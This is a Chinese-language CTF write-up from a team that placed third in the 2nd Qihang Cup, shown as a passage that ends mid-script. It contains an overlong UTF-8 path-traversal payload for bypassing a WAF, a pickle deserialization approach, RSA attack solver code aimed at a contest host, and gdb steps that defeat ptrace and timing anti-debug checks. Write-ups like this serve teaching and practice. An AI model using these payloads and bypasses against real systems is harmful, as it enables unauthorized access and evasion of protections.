文章总结: OnePanda-Secteamsecuredthirdplaceinthe2ndQihangCupCTF.Thiswrite-updetailssolutionsacrossWeb,Crypto,Pwn,Reverse,Forensics,andOSINT.HighlightsincludeWebLogicexploitationviaUTF-8encoding,RSAandlatticecryptographyattacks,andadvancedPwntechniquessuchasheapoverlapandSROPforseccompbypass.ReversechallengesinvolvedVMbytecodeanalysisandmulti-layerdecryption.ForensicscoveredTomcatvulnerabilityanalysisandminingmalwaredetection,whileOSINTinvolvedrailwaygeolocation.Thedocumentdemonstratesdeeptechnicalexpertiseandpracticalapplicationofsecuritytools.
综合评分: 93
文章分类: CTF,二进制安全,WEB安全,应急响应,漏洞分析
第二届“启航杯”网络安全挑战赛 wp
原创
OnePanda-Sec
OnePanda-Sec
OnePanda-Sec
2026年2月9日 18:33
陕西
20
26
OnePanda-Sec
第二届“启航杯”网络安全挑战赛 wp
招新说明
招新要求
· 热爱网络安全,喜欢CTF
· 拥有CTF比赛经验,有较好比赛成绩的
· 乐于奉献、热爱分享,愿意提升 自己同时帮助他人
· 时间允许参加各类赛事,服从战队管理与安排
· 各类比赛获奖者、能力出众者视情况考量
· 未参与其他高校联队
· 大一同学视情况放宽资历要求
联系方式
发送简历于邮箱
· 简历邮箱:[email protected]
团队师傅们同心攻坚、合力拼搏,终不负期许,斩获第三名!这份荣誉凝结着每个人的付出,未来继续携手前行~
01
Web
OnePanda-Sec
WebLogic
提示说 CVE-2026-21962
Plain Text/public/..;/internal/admin.php会被 WAF: Blocked
UTF8 编码绕过
https://cloud.tencent.com/developer/article/2390626
可以使用 Overlong Encoding 编码进行绕过 即 b’\xC0\xAE’.decode ()
Plain Text/public/%c0%ae%c0%ae/internal/admin.php
ez_ems
弱口令 admin/admin进行登陆
得到一串token
对其进行base64解码
可以很明显的得到是pickle序列化后的字符串,那后面打python pickle反序列化即可,需要密钥,给另外一个队友,在这个思路的基础上用ai辅助,看看能不能得到进一步的利用
果然是基于这个思路来的,最后成功得到flag
02
Misc
OnePanda-Sec
兄弟,你好香啊
binwalk分离后得到hint
Plain Text=== 兄弟,你好香啊 ===恭喜你找到了这个文件!但flag还需要解密...提示:密文经过了三层加密最外层是ROT13中间层是Base64 最内层是AES-ECB,密钥与"兄弟你好香"的英文有关密钥长度为16字节加密后的flag:ygy/AONrj8D+kjqBg2F/nxJARXoKft85oRsiQAjhORFPjtvh2aC3aBiGQAHUNm1N祝你好运,香香的兄弟!
然后给ai提取音频密钥,并且解密即可
脚本
Pythonimport base64from Crypto.Cipher import AES# 1. ROT13 解密函数def rot13(s): result = "" for c in s: if 'a' <= c <= 'z': result += chr(((ord(c) - ord('a') + 13) % 26) + ord('a')) elif 'A' <= c <= 'Z': result += chr(((ord(c) - ord('A') + 13) % 26) + ord('A')) else: result += c return result# 密文ciphertext = "ygy/AONrj8D+kjqBg2F/nxJARXoKft85oRsiQAjhORFPjtvh2aC3aBiGQAHUNm1N"# 执行解密流程step1 = rot13(ciphertext)step2 = base64.b64decode(step1)# 尝试密钥key = b"BrotherYouSmell!" # 16字节cipher = AES.new(key, AES.MODE_ECB)flag = cipher.decrypt(step2)# 去除填充并打印print(f"Flag: {flag.decode('utf-8', errors='ignore')}")
03
AI
OnePanda-Sec
神经迷宫
79dcd720
9c26-4900
9029
7c94da702974
QHCTF{79dcd720-9c26-4900-9029-7c94da702974}
AI_Check
这里面有很多个隐藏的乱码,或者本来就是乱码的玩意,一个从基于规则的粗筛到基于数据分布的精修的迭代过程。针对复杂的多源污染,单纯的正则删除是不够的,需要分别采取删与修的策略
由于每队容器数量只能有两个,然后队友无意之间开启了别的容器,导致我不得不多次对不同的数据集进行清洗(因为容器关闭,session丢失所造成的)
04
Crypto
OnePanda-Sec
RSA Inferno
题目一共有五关,考点是共模攻击,广播攻击,维纳攻击还有部分私钥泄露,考点并不难,写交互脚本解答问题即可
Challenge 1: 共模攻击 (Common Modulus Attack)
场景: 题目给出了两个使用相同模数 n 但不同公钥指数 (e1, e2) 加密的密文 (c1, c2)。
原理: 如果 gcd(e1, e2) = 1,则根据扩展欧几里得算法,存在整数 s1, s2 使得 s1*e1 + s2*e2 = 1。
由此可得:
c1^s1 * c2^s2 = (m^e1)^s1 * (m^e2)^s2 = m^(s1*e1 + s2*e2) = m^1 = m (mod n)
代码实现: 使用 extended_gcd 计算 s1, s2,注意处理负数指数(求模逆元)。
Challenge 2: 广播攻击 (Broadcast Attack)
场景: 题目给出了多组(本题中为 3 组)使用不同模数 ni 但相同小公钥指数 e=3 加密的密文 ci。
原理: 使用中国剩余定理 (CRT) 求解 x = ci (mod ni)。
求出的 x 满足 x = m^e (mod \prod ni)。
由于 m < ni,且 m^e < \prod ni,得到的 x 实际上就是 m^e 的整数值。直接对 x 开 e 次方即可得到 m。
代码实现: 实现了简单的 CRT 和整数开方算法。
Challenge 3 & 4: 维纳攻击 (Wiener’s Attack)
场景: 这两关的特点是公钥指数 e 很大,暗示私钥 d 可能很小。
原理: 当满足 d < (1/3) * n^(1/4) 时,可以通过 e/n 的连分数展开来逼近 k/d。
代码实现: 计算 e/n 的连分数展开,逐个验证渐进分数的分母是否为 d。验证方法是解一元二次方程求 p, q。
注意:Challenge 4 原本可能设计为 Boneh-Durfee 攻击(比 Wiener 攻击更强),但在本题中 Wiener 攻击依然有效并成功解出。
Challenge 5: 部分私钥泄露 (Partial Key Exposure)
场景: 题目给出了 d 的高位部分 d_high 和未知低位比特数 unknown_bits (20 bits)。
原理: 已知 d = d_high + k,其中 k 为未知部分,0 <= k < 2^20。
直接爆破 k 并验证 c^d = m (mod n)。
思路有了,那么脚本写起来就比较简单了,可以让ai辅助一下
Pythonimport socketimport reimport sysfrom Crypto.Util.number import long_to_bytes, inverseimport timeimport math# Helper for socket communicationclass Remote: def __init__(self, host, port): self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.s.connect((host, port)) self.buffer = "" def recvuntil(self, target): while target not in self.buffer: try: data_bytes = self.s.recv(4096) if not data_bytes: print("Connection closed by server") break data = data_bytes.decode(errors='replace') self.buffer += data # print(f"DEBUG: Received {len(data)} bytes") except Exception as e: print(f"Error receiving: {e}") break idx = self.buffer.find(target) if idx != -1: ret = self.buffer[:idx + len(target)] self.buffer = self.buffer[idx + len(target):] return ret return self.buffer def recvline(self): return self.recvuntil('\n') def sendline(self, data): self.s.sendall((str(data) + '\n').encode()) def close(self): self.s.close() def interactive(self): # Print remaining buffer print(self.buffer) while True: try: # Basic interactive loop pass # For now just exit break except KeyboardInterrupt: breakdef wiener_attack(n, e): print(f"[*] Attempting Wiener's Attack on n={n}...") # Continued fraction expansion of e/n cf = [] u, v = e, n # We don't need full expansion, usually d is found early # But let's generate enough while v: q = u // v cf.append(q) u, v = v, u % v numerators = [] denominators = [] for i in range(len(cf)): if i == 0: ni = cf[0] di = 1 elif i == 1: ni = cf[1] * cf[0] + 1 di = cf[1] else: ni = cf[i] * numerators[i-1] + numerators[i-2] di = cf[i] * denominators[i-1] + denominators[i-2] numerators.append(ni) denominators.append(di) k = ni d = di if k == 0: continue # phi = (ed - 1) / k if (e * d - 1) % k != 0: continue phi = (e * d - 1) // k # x^2 - (n - phi + 1)x + n = 0 b = n - phi + 1 delta = b*b - 4*n if delta >= 0: isqrt_delta = math.isqrt(delta) if isqrt_delta * isqrt_delta == delta: p = (b + isqrt_delta) // 2 q = (b - isqrt_delta) // 2 if p * q == n: print(f"[+] Found d: {d}") return d print("[-] Wiener's Attack failed") return Nonedef extended_gcd(a, b): if a == 0: return b, 0, 1 else: g, y, x = extended_gcd(b % a, a) return g, x - (b // a) * y, ydef common_modulus_attack(n, e1, e2, c1, c2): print(f"[*] Attempting Common Modulus Attack...") g, s1, s2 = extended_gcd(e1, e2) # s1*e1 + s2*e2 = g # If g != 1, we can't fully recover m directly unless we handle roots, # but usually in CTF g=1. if g != 1: print(f"[-] GCD(e1, e2) = {g} != 1") return None # m^1 = m^(s1*e1 + s2*e2) = c1^s1 * c2^s2 (mod n) # Handle negative exponents v1 = pow(c1, s1, n) if s1 > 0 else inverse(pow(c1, -s1, n), n) v2 = pow(c2, s2, n) if s2 > 0 else inverse(pow(c2, -s2, n), n) m = (v1 * v2) % n return mdef broadcast_attack(n_list, c_list, e=3): print(f"[*] Attempting Broadcast Attack (CRT)...") # Hastad's Broadcast Attack # x = c_i mod n_i # Solve for x using CRT, then m = x^(1/e) # Simple CRT implementation N = 1 for n in n_list: N *= n result = 0 for i in range(len(n_list)): ni = n_list[i] ci = c_list[i] Mi = N // ni ti = inverse(Mi, ni) result += ci * Mi * ti x = result % N # Integer e-th root # Using binary search for integer root low = 0 high = x while low < high: mid = (low + high + 1) // 2 if mid ** e <= x: low = mid else: high = mid - 1 m = low if m ** e == x: return m else: print(f"[-] Exact root not found. m**e vs x. e={e}") # Debug print(f"len(n_list)={len(n_list)}, len(c_list)={len(c_list)}") return Nonedef challenge5_solve(n, e, c, d_high, unknown_bits): print(f"[*] Solving Challenge 5 by Brute Force (bits={unknown_bits})...") # d = d_high | k, where k < 2^unknown_bits # Optimization: # We want to find k such that c_test^(d_high | k) = m_test (mod n) # Since d_high has lower bits 0, d_high | k = d_high + k # c_test^(d_high + k) = m_test # c_test^d_high * c_test^k = m_test # c_test^k = m_test * inverse(c_test^d_high, n) m_test = 2 c_test = pow(m_test, e, n) # Calculate target value for c_test^k term1 = pow(c_test, d_high, n) inv_term1 = inverse(term1, n) target = (m_test * inv_term1) % n limit = 1 << unknown_bits print(f"Target: {target}") # Iteratively compute c_test^k current_val = 1 # c_test^0 # Pre-check k=0 if current_val == target: print(f"[+] Found d offset k: 0") d = d_high m = pow(c, d, n) return m base = c_test for k in range(1, limit): if k % 100000 == 0: print(f"Progress: {k}/{limit}") current_val = (current_val * base) % n if current_val == target: print(f"[+] Found d offset k: {k}") d_guess = d_high | k print(f"[+] Found d: {d_guess}") m = pow(c, d_guess, n) return m print("[-] Challenge 5 failed") return Nonedef solve_challenge(): print("Starting solver...") sys.stdout.flush() host = "220.168.118.182" port = 30638 r = Remote(host, port) # Order of challenges to solve challenges = [1, 2, 3, 4, 5] # Initial menu wait print("Waiting for initial menu...") r.recvuntil("> ") print("Initial Menu received") for chall_id in challenges: print(f"\n[+] Processing Challenge {chall_id}") # Select challenge r.sendline(str(chall_id)) # Read challenge data data = r.recvuntil("answer:") print(f"Challenge {chall_id} Data received") # print(data) # Debug m = None if chall_id == 1: # Common Modulus try: n = int(re.search(r'n = (\d+)', data).group(1)) e1 = int(re.search(r'e1 = (\d+)', data).group(1)) e2 = int(re.search(r'e2 = (\d+)', data).group(1)) c1 = int(re.search(r'c1 = (\d+)', data).group(1)) c2 = int(re.search(r'c2 = (\d+)', data).group(1)) m = common_modulus_attack(n, e1, e2, c1, c2) except Exception as e: print(f"Error parsing Challenge 1: {e}") elif chall_id == 2: # Broadcast # print(f"DEBUG DATA CHALLENGE 2:\n{data.encode('ascii', 'replace').decode()}") try: # Format: data = [ {'n': ..., 'c': ...}, ... ] n_list = [int(x) for x in re.findall(r"'n': (\d+)", data)] c_list = [int(x) for x in re.findall(r"'c': (\d+)", data)] e = 3 e_match = re.search(r'e = (\d+)', data) if e_match: e = int(e_match.group(1)) m = broadcast_attack(n_list, c_list, e) except Exception as e: print(f"Error parsing Challenge 2: {e}") elif chall_id == 3: # Wiener try: n = int(re.search(r'n = (\d+)', data).group(1)) e = int(re.search(r'e = (\d+)', data).group(1)) c = int(re.search(r'c = (\d+)', data).group(1)) d = wiener_attack(n, e) if d: m = pow(c, d, n) except Exception as e: print(f"Error parsing Challenge 3: {e}") elif chall_id == 4: # Boneh-Durfee (Solved by Wiener) try: n = int(re.search(r'n = (\d+)', data).group(1)) e = int(re.search(r'e = (\d+)', data).group(1)) c = int(re.search(r'c = (\d+)', data).group(1)) # Try Wiener d = wiener_attack(n, e) if d: m = pow(c, d, n) else: print("Wiener failed for Challenge 4. Need Boneh-Durfee.") # m = None except Exception as e: print(f"Error parsing Challenge 4: {e}") elif chall_id == 5: # Partial Key Exposure try: n = int(re.search(r'n = (\d+)', data).group(1)) e = int(re.search(r'e = (\d+)', data).group(1)) c = int(re.search(r'c = (\d+)', data).group(1)) d_high = int(re.search(r'd_high = (\d+)', data).group(1)) unknown_bits = int(re.search(r'unknown_bits = (\d+)', data).group(1)) print(f"Challenge 5: n={n}, e={e}, d_high={d_high}, unknown_bits={unknown_bits}") m = challenge5_solve(n, e, c, d_high, unknown_bits) except Exception as e: print(f"Error parsing Challenge 5: {e}") if m is not None: print(f"Sending answer: {m}") time.sleep(0.5) r.sendline(str(m)) # Read response and next menu # The server sends "Correct!" (or failure) followed by the menu again response = r.recvuntil("> ") try: # Safe print for Windows/GBK environments print(f"Result raw: {response.encode('gbk', 'replace').decode('gbk')}") except Exception: print(f"Result raw: [Decoding Error] {repr(response)}") if "Correct" in response or "Success" in response or "\u2705" in response: print("[-] Verified Correct") else: print("[-] Verified Failed or Unknown") else: print(f"Could not solve Challenge {chall_id}") # Send dummy to get back to menu? r.sendline("0") response = r.recvuntil("> ") print(response) # Get Flag print("\n[+] Attempting to get flag...") try: # We are already at the menu prompt r.sendline("7") # Read until we see '}' or timeout response = r.recvuntil("}") try: print(f"Flag response: {response.encode('gbk', 'replace').decode('gbk')}") except: print(f"Flag response (repr): {repr(response)}") except Exception as e: print(f"Error getting flag: {e}") # Try reading whatever is left try: print(r.s.recv(4096).decode(errors='replace')) except: pass r.close()if __name__ == "__main__": solve_challenge()
最后得到flag
QHCTF{59b42192-8c28-4816-a763-3ca547305fbf}
Lattice Labyrinth
这题又是三轮的挑战
Challenge 1 是经典背包问题,因公钥维度小(N=40),采用 折半搜索 (Meet-in-the-Middle) 算法,通过哈希表碰撞将复杂度降至 [ o bj ec tO bj ec t ] 2 20 秒解。
Challenge 2 是 GGH 格密码,因干扰向量较小,将其视为线性方程组 [ o bj ec tO bj ec t ] C ≈ M ⋅ B ,利用 高斯消元法 求解后直接 四舍五入 (Babai Rounding) 即可恢复明文。
Challenge 3 是 ECDSA 随机数泄露低 110 位,转化为 隐数问题 (HNP) 。利用 Kannan’s Embedding 构造格矩阵,将未知的高 18 位随机数转化为寻找格上短向量的问题,通过 LLL 算法 规约成功恢复私钥。
利用ai搓脚本
05
Reverse
OnePanda-Sec
HELL GATE
查壳,upx脱壳完反编译,通过查找字符串确定主函数
分析程序得知一共有三层加密AES S-box,tea,rc4
密文unk_499270
s盒byte_499060
用ai分析得VM字节码解析:
地址 0x4C7100开始的字节码:
01 00 44 45 41 44 42 45 45 46 ; 1. LOAD_IMM r0, 0x4645454244414544 = “DEADBEEF”
01 01 43 41 46 45 42 41 42 45 ; 2. LOAD_IMM r1, 0x4542414245464143 = “CAFEBABE”
01 02 13 37 C0 DE FA CE 00 00 ; 3. LOAD_IMM r2, 0x0000CEFADEC03713
01 03 AB CD EF 12 34 56 78 9A ; 4. LOAD_IMM r3, 0x9A78563412EFCDAB
05 ; 5. SBOX (AES S-box替换)
06 ; 6. TEA_ENCRYPT (TEA加密)
07 ; 7. RC4 (RC4加密)
08 ; 8. CMP (比较)
FF ; 9. HALT (结束)
提取的密钥:
RC4密钥
r0 = “DEADBEEF” = 0x44 45 41 44 42 45 45 46
r1 = “CAFEBABE” = 0x43 41 46 45 42 41 42 45
RC4密钥 = “DEADBEEFCAFEBABE”(16字节)
TEA密钥
r0低32位 = 0x44414544 (“DEAD”)
r1低32位 = 0x45464143 (“CAFE”)
r2低32位 = 0xDEC03713
r3低32位 = 0x12EFCDAB
TEA密钥 = [0x44414544, 0x45464143, 0xDEC03713, 0x12EFCDAB]
Pythonimport struct# 标准AES S-box (已提供)sbox = [ 0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76, 0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0, 0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15, 0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75, 0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84, 0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF, 0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8, 0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2, 0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73, 0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB, 0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79, 0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08, 0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A, 0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E, 0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF, 0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16]# 创建逆S盒inv_sbox = [0] * 256for i in range(256): inv_sbox[sbox[i]] = i# 密文数据 (48字节)ciphertext = bytes([ 0x80, 0x81, 0xA1, 0x5B, 0x32, 0x5E, 0x44, 0x48, 0x10, 0xB1, 0xEC, 0x3B, 0x2D, 0x7F, 0x07, 0xCF, 0x41, 0x25, 0x7C, 0x17, 0x0B, 0x74, 0x66, 0x44, 0x74, 0xDF, 0x4D, 0xD1, 0xBC, 0xEA, 0x92, 0xB7, 0xE7, 0xBC, 0x21, 0xDA, 0x86, 0xB2, 0x03, 0xF0, 0x10, 0x5F, 0xBA, 0xF1, 0xDA, 0xB4, 0x08, 0xEF])# 提取的密钥rc4_key = b"DEADBEEFCAFEBABE" # 16字节RC4密钥tea_key = [ 0x44414544, # "DEAD" (小端格式) 0x45464143, # "CAFE" (小端格式) 0xDEC03713, # 自定义密钥1 0x12EFCDAB # 自定义密钥2]def rc4_decrypt(key, data): """RC4解密函数""" S = list(range(256)) j = 0 # 密钥调度算法 (KSA) for i in range(256): j = (j + S[i] + key[i % len(key)]) & 0xFF S[i], S[j] = S[j], S[i] # 伪随机生成算法 (PRGA) i = j = 0 result = bytearray() for byte in data: i = (i + 1) & 0xFF j = (j + S[i]) & 0xFF S[i], S[j] = S[j], S[i] k = S[(S[i] + S[j]) & 0xFF] result.append(byte ^ k) return bytes(result)def tea_decrypt(block, key): """TEA解密函数 (ECB模式)""" v0, v1 = struct.unpack('<II', block) delta = 0x9E3779B9 sum_val = (delta * 32) & 0xFFFFFFFF k0, k1, k2, k3 = key for _ in range(32): v1 = (v1 - (((v0 << 4) + k2) ^ (v0 + sum_val) ^ ((v0 >> 5) + k3))) & 0xFFFFFFFF v0 = (v0 - (((v1 << 4) + k0) ^ (v1 + sum_val) ^ ((v1 >> 5) + k1))) & 0xFFFFFFFF sum_val = (sum_val - delta) & 0xFFFFFFFF return struct.pack('<II', v0, v1)def inverse_sbox(data): """应用AES逆S盒替换""" return bytes([inv_sbox[b] for b in data])# 解密流程:RC4 → TEA → AES逆S盒try: # 1. RC4解密 tea_encrypted = rc4_decrypt(rc4_key, ciphertext) # 2. TEA解密 (每8字节一组) sbox_applied = bytearray() for i in range(0, 48, 8): block = tea_encrypted[i:i + 8] decrypted_block = tea_decrypt(block, tea_key) sbox_applied.extend(decrypted_block) # 3. AES逆S盒替换 flag_bytes = inverse_sbox(sbox_applied) # 4. 移除填充并提取flag flag = flag_bytes.decode('utf-8', errors='ignore').rstrip('\x00') # 检查标志格式 if flag.startswith("QHCTF{") and flag.endswith("}"): print(f"成功解密: {flag}") else: # 尝试反调试混淆 decoded = bytes(b ^ 0x55 for b in flag_bytes) flag = decoded.decode('utf-8', errors='ignore') if flag.startswith("QHCTF{") and flag.endswith("}"): print(f"成功解密(反调试模式): {flag}") else: print("未找到标准flag格式,输出可能结果:") print(flag) print("Hex:", flag_bytes.hex())except Exception as e: print(f"解密过程中出错: {str(e)}")
Labyrinth
gdb ./chall
在main函数开始设置断点
break *0x5555555550c0
这是main函数入口,从这里开始控制程序执行
run
程序现在停在main函数开头
绕过ptrace反调试检测
单步执行8条指令,到达ptrace调用
ni; ni; ni; ni; ni; ni; ni; ni
跳过ptrace调用并设置成功返回值
set $rip = 0x5555555550d9
set $rax = 0
设置$rip跳过call指令,$rax=0表示ptrace调用成功
跳过第一个时间函数调用
ni; ni; ni; ni; ni; ni; ni
set $rip = 0x5555555550e8
set $rax = 1000
set $r14 = $rax
跳过时间函数,设置合理的时间值,保存在r14中供后续比较
continue
程序输出: Enter flag:
输入43个A作为测试输入
手动输入: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
在第二个时间函数调用前设置断点
break *0x5555555551af
continue
第二个时间检测计算时间差
跳过第二个时间函数调用
set $rip = 0x5555555551b4
set $rax = $r14 + 100
设置时间差很小(100),避免”Too slow!”检测
在flag比较前设置断点
break *0x55555555541f
continue
此时正确的flag已经解密完成,存储在栈上
获取正确flag
info registers rsp
输出rsp 0x7fffffffe070
计算flag地址
flag存储在: [rsp+0E8h+var_D8] = rsp + 0xE8 – 0xD8 = rsp + 0x10
print $rsp + 0x10
尝试作为字符串查看
x/s $rsp+0x10
mirage_hv
这道题给了一个 ELF 程序 mirage_hv,目标是拿到 flag。
程序本身没什么复杂逻辑,核心就是把 flag 藏在二进制里,然后做了一层 XOR 混淆
分析:
查壳可以确认是 ELF 64 位,没有特别复杂的反调试,程序中存在一段明显的“不可读字符串”
通过静态分析(或者直接看题目提示),能得到几个关键参数:Flag 虚拟地址:0x2040长度:31 字节,由flag格式QHCTF{…}可以推测。加密方式:每个字节 XOR 0xA5
Python# -*- coding: utf-8 -*-"""Extract and decrypt flag from mirage_hv (31 bytes at VA 0x2040 xor 0xA5)"""import structimport sysBINARY = r"C:\Users\22632\Downloads\mirage_hv"VA_FLAG = 0x2040FLAG_LEN = 31XOR_BYTE = 0xA5def get_file_offset_from_elf(path, vaddr): with open(path, "rb") as f: magic = f.read(4) if magic != b'\x7fELF': return None f.seek(0x20) e_phoff = struct.unpack("<Q", f.read(8))[0] f.seek(0x36) e_phentsize = struct.unpack("<H", f.read(2))[0] e_phnum = struct.unpack("<H", f.read(2))[0] f.seek(e_phoff) for _ in range(e_phnum): p_type = struct.unpack("<I", f.read(4))[0] f.read(4) p_offset = struct.unpack("<Q", f.read(8))[0] p_vaddr = struct.unpack("<Q", f.read(8))[0] p_filesz = struct.unpack("<Q", f.read(8))[0] if p_type == 1 and p_vaddr <= vaddr < p_vaddr + p_filesz: return p_offset + (vaddr - p_vaddr) f.read(8 + 8 + 8) return Nonedef main(): path = BINARY off = get_file_offset_from_elf(path, VA_FLAG) if off is None: enc = bytes([0xf4, 0xed, 0xe6, 0xf1, 0xe3, 0xde, 0xc8, 0xcc, 0xd7, 0xc4, 0xc2, 0xc0, 0xfa, 0xcd, 0xd3, 0xfa, 0xc1, 0xc0, 0xc8, 0xca, 0xfa, 0xc3, 0xc9, 0xc4, 0xc2, 0xfa, 0x97, 0x95, 0x97, 0x93, 0xd8]) else: with open(path, "rb") as f: f.seek(off) enc = f.read(FLAG_LEN) if isinstance(enc, str): dec = "".join(chr(ord(c) ^ XOR_BYTE) for c in enc) else: dec = "".join(chr(b ^ XOR_BYTE) for b in enc) print(dec) return 0if __name__ == "__main__": sys.exit(main())
QHCTF{mirage_hv_demo_flag_2026}
调查问卷
密文使用的不是标准Base64字母表需要先将其映射回标准Base64字母表再进行解码。
这里使用了变种的TEA加密算法,需要注意几个关键点:
•使用32轮加密
•密钥为:VRUSEKYE202YGLF6(16字节)
•需要正确处理大端序/小端序的问题
•delta常量为0x9E3779B9
MixColumns使用AES的列混淆矩阵,需要计算其逆矩阵,在GF(2^8)有限域上执行矩阵乘法,使用多项式x^8 + x^4 + x^3 + x + 1(对应0x1b)进行约减,然后AES S-box是可逆的,通过建立反向查找表即可恢复原始字节
Python#!/usr/bin/env python3"""Survey challenge flag solver.Flow: input (43 bytes) -> S-box -> MixColumns -> TEA encrypt -> Base64 custom -> compareReverse: Base64 decode -> TEA decrypt -> InvMixColumns -> Inv S-box -> flag"""import struct# Target from binaryTARGET_B64 = "ZpopRs/uh9eE0BfNQcpJd7bB5BmSWuvQ+Ac/s/iPqjRESDLssGlpOAewRRPR7Py/"# Custom Base64 alphabet (from unk_4996F0 string part)B64_ALPHA = "QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm0123456789+/"# S-box from byte_499760 (256 bytes)SBOX = bytes([ 0x52, 0x09, 0x6a, 0xd5, 0x30, 0x36, 0xa5, 0x38, 0xbf, 0x40, 0xa3, 0x9e, 0x81, 0xf3, 0xd7, 0xfb, 0x7c, 0xe3, 0x39, 0x82, 0x9b, 0x2f, 0xff, 0x87, 0x34, 0x8e, 0x43, 0x44, 0xc4, 0xde, 0xe9, 0xcb, 0x54, 0x7b, 0x94, 0x32, 0xa6, 0xc2, 0x23, 0x3d, 0xee, 0x4c, 0x95, 0x0b, 0x42, 0xfa, 0xc3, 0x4e, 0x08, 0x2e, 0xa1, 0x66, 0x28, 0xd9, 0x24, 0xb2, 0x76, 0x5b, 0xa2, 0x49, 0x6d, 0x8b, 0xd1, 0x25, 0x72, 0xf8, 0xf6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xd4, 0xa4, 0x5c, 0xcc, 0x5d, 0x65, 0xb6, 0x92, 0x6c, 0x70, 0x48, 0x50, 0xfd, 0xed, 0xb9, 0xda, 0x5e, 0x15, 0x46, 0x57, 0xa7, 0x8d, 0x9d, 0x84, 0x90, 0xd8, 0xab, 0x00, 0x8c, 0xbc, 0xd3, 0x0a, 0xf7, 0xe4, 0x58, 0x05, 0xb8, 0xb3, 0x45, 0x06, 0xd0, 0x2c, 0x1e, 0x8f, 0xca, 0x3f, 0x0f, 0x02, 0xc1, 0xaf, 0xbd, 0x03, 0x01, 0x13, 0x8a, 0x6b, 0x3a, 0x91, 0x11, 0x41, 0x4f, 0x67, 0xdc, 0xea, 0x97, 0xf2, 0xcf, 0xce, 0xf0, 0xb4, 0xe6, 0x73, 0x96, 0xac, 0x74, 0x22, 0xe7, 0xad, 0x35, 0x85, 0xe2, 0xf9, 0x37, 0xe8, 0x1c, 0x75, 0xdf, 0x6e, 0x47, 0xf1, 0x1a, 0x71, 0x1d, 0x29, 0xc5, 0x89, 0x6f, 0xb7, 0x62, 0x0e, 0xaa, 0x18, 0xbe, 0x1b, 0xfc, 0x56, 0x3e, 0x4b, 0xc6, 0xd2, 0x79, 0x20, 0x9a, 0xdb, 0xc0, 0xfe, 0x78, 0xcd, 0x5a, 0xf4, 0x1f, 0xdd, 0xa8, 0x33, 0x88, 0x07, 0xc7, 0x31, 0xb1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xec, 0x5f, 0x60, 0x51, 0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0x0d, 0x2d, 0xe5, 0x7a, 0x9f, 0x93, 0xc9, 0x9c, 0xef, 0xa0, 0xe0, 0x3b, 0x4d, 0xae, 0x2a, 0xf5, 0xb0, 0xc8, 0xeb, 0xbb, 0x3c, 0x83, 0x53, 0x99, 0x61, 0x17, 0x2b, 0x04, 0x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0c, 0x7d])# Build inverse S-boxdef _byte(b): return b if isinstance(b, int) else ord(b)INV_SBOX = bytearray(256)for i in range(256): INV_SBOX[_byte(SBOX[i])] = iINV_SBOX = bytes(INV_SBOX)# TEA key "VRUSEKYE202YGLF6"TEA_KEY = b"VRUSEKYE202YGLF6"# AES MixColumns matrix (column-major as in code)# M = [[2,3,1,1], [1,2,3,1], [1,1,2,3], [3,1,1,2]]M = [ [0x02, 0x03, 0x01, 0x01], [0x01, 0x02, 0x03, 0x01], [0x01, 0x01, 0x02, 0x03], [0x03, 0x01, 0x01, 0x02],]# GF(2^8) multiply with reduction 0x1bdef gf_mul(a, b): p = 0 for _ in range(8): if b & 1: p ^= a hi = a & 0x80 a = (a << 1) & 0xff if hi: a ^= 0x1b b >>= 1 return p# Inverse MixColumns matrix (inverse of M in GF(2^8))# Precomputed inverse of AES MixColumnsM_INV = [ 